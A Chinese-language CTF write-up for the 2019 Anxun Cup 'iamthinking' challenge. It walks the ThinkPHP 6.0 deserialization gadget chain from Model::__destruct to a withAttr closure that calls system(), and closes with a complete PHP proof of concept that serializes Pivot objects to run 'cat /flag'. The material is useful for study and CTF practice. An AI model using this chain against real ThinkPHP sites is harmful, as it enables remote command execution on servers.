[安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞

[安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞

刚开始是403,扫描以下目录,扫描到三个目录。

[18:06:19] 200 -    1KB - /README.md
[18:06:19] 200 -   34B  - /.gitignore
[18:06:26] 200 -  880KB - /www.zip  

通过README可以看到是ThinkPHP6.0。

我们现在只能到index頁面,全局搜索一下unserialize,发现在index.php下存在着反序列化的地方。

同时payload参数可控,通过GET方式就能传递到。

接下来要找反序列的点,全局distruct,先从这个点开始审计。

发现只有六处,反序列的点,依次查看。

Mongo处无法利用

free,close都无法利用,只是释放参数。

connection处同理。

看向Model.php。

看到save函数,感觉是能操作的。

public function __destruct()
{
    if ($this->lazySave) {
        $this->save();
    }
}

条件lazysave是设为true,默认为flase。

跟进save方法。

 public function save(array $data = [], string $sequence = null): bool
    {
        // 数据对象赋值
        $this->setAttrs($data);

        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }

        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

        if (false === $result) {
            return false;
        }

        // 写入回调
        $this->trigger('AfterWrite');

        // 重新记录原始数据
        $this->origin   = $this->data;
        $this->set      = [];
        $this->lazySave = false;

        return true;
    }

需要满足$this->isEmpty()不成立,$this->trigger('BeforeWrite')为TRUE。
跟进isEmpty:

return empty($this->data);

即data不设置即可。

跟进tigger:

    if (!$this->withEvent) {
        return true;
    }

让$this->withEvent为flase即可。

跟进upadteData方法以及insertData方法。

protected function updateData(): bool
{
    // 事件回调
    if (false === $this->trigger('BeforeUpdate')) {
        return false;
    }

    $this->checkData();

    // 获取有更新的数据
    $data = $this->getChangedData();

    if (empty($data)) {
        // 关联更新
        if (!empty($this->relationWrite)) {
            $this->autoRelationUpdate();
        }

        return true;
    }

    if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
        // 自动写入更新时间
        $data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);
        $this->data[$this->updateTime] = $data[$this->updateTime];
    }

    // 检查允许字段
    $allowFields = $this->checkAllowFields();

    foreach ($this->relationWrite as $name => $val) {
        if (!is_array($val)) {
            continue;
        }

        foreach ($val as $key) {
            if (isset($data[$key])) {
                unset($data[$key]);
            }
        }
    }

    // 模型更新
    $db = $this->db();
    $db->startTrans();

    try {
        $where  = $this->getWhere();
        $result = $db->where($where)
            ->strict(false)
            ->field($allowFields)
            ->update($data);

        $this->checkResult($result);

        // 关联更新
        if (!empty($this->relationWrite)) {
            $this->autoRelationUpdate();
        }

        $db->commit();

        // 更新回调
        $this->trigger('AfterUpdate');

        return true;
    } catch (Exception $e) {
        $db->rollback();
        throw $e;
    }
}

继续跟进checkAllowFields

发现文字拼接:

$this->table . $this->suffix  

能够被利用触发toString方法。

进入到这一步的条件就是: $this->field为空,且$this->schema也为空。
即: $this->field = []; $this->schema = [];

同时这里还有一个判断,即$this->table,当为true是才能执行字符串的拼接。

所以为了能让这个方法被调用到,我们要让exists存在。
即 $this->exists =True

关于toString魔术方法,他是在Conversion.php当中。

public function __toString()
{
    return $this->toJson();
}

继续查看tojson这个函数:

public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
    return json_encode($this->toArray(), $options);
}

跟进到toArray方法。

          elseif (isset($this->visible[$key])) {
            $item[$key] = $this->getAttr($key);
        } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
            $item[$key] = $this->getAttr($key);
        }

再看到getAttr方法:

public function getAttr(string $name)
{
    try {
        $relation = false;
        $value    = $this->getData($name);
    } catch (InvalidArgumentException $e) {
        $relation = $this->isRelationAttr($name);
        $value    = null;
    }

    return $this->getValue($name, $value, $relation);
}

跟进getData方法:

if (is_null($name)) {
        return $this->data;
    }

    $fieldName = $this->getRealFieldName($name);

进入到getRealFieldName方法:

   protected function getRealFieldName(string $name): string
    {
        return $this->strict ? $name : Str::snake($name);
    }
    if (array_key_exists($fieldName, $this->data)) {
        return $this->data[$fieldName];
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }      

如果$this->strict为True,返回$name。

此时再getData方法中:

$this->data[$fielName] = $this->data[$key]

此时再getAttr中就是: $this->getValue($key, $value, null);

跟进getvalue:

protected function getValue(string $name, $value, $relation = false)
{
    // 检测属性获取器
    $fieldName = $this->getRealFieldName($name);
    $method    = 'get' . Str::studly($name) . 'Attr';

    if (isset($this->withAttr[$fieldName])) {
        if ($relation) {
            $value = $this->getRelationValue($relation);
        }

        if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
            $value = $this->getJsonValue($fieldName, $value);
        }else {
            //$fieldName = a
            //withAttr[a] = system
            $closure = $this->withAttr[$fieldName];
            //value = system(ls,)
            $value   = $closure($value, $this->data);
        }

可以很明显看到:

当$this->withAttr[$key]不为数组条件就会为false,从而触发命令执行

poc:

<?php
namespace thinkmodelconcern {
    trait Conversion
    {    
    }

    trait Attribute
    {
        private $data;
        private $withAttr = ["xxx" => "system"];

        public function get()
        {
            $this->data = ["xxx" => "cat /flag"];
        }
    }
}

namespace think{
    abstract class Model{
    use modelconcernAttribute;
    use modelconcernConversion;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $field;
    protected $schema;
    protected $table;
    function __construct(){
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->field = [];
        $this->schema = [];
        $this->table = true;
    }
}
}

namespace thinkmodel{

use thinkModel;

class Pivot extends Model
{
    function __construct($obj='')
    {
        //定义this->data不为空
        parent::__construct();
        $this->get();
        $this->table = $obj;
    }
}


$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));
}

这个poc是网上找的,跟我写的思路可能有些地方不太一致。

原文地址:https://www.cnblogs.com/ophxc/p/13334110.html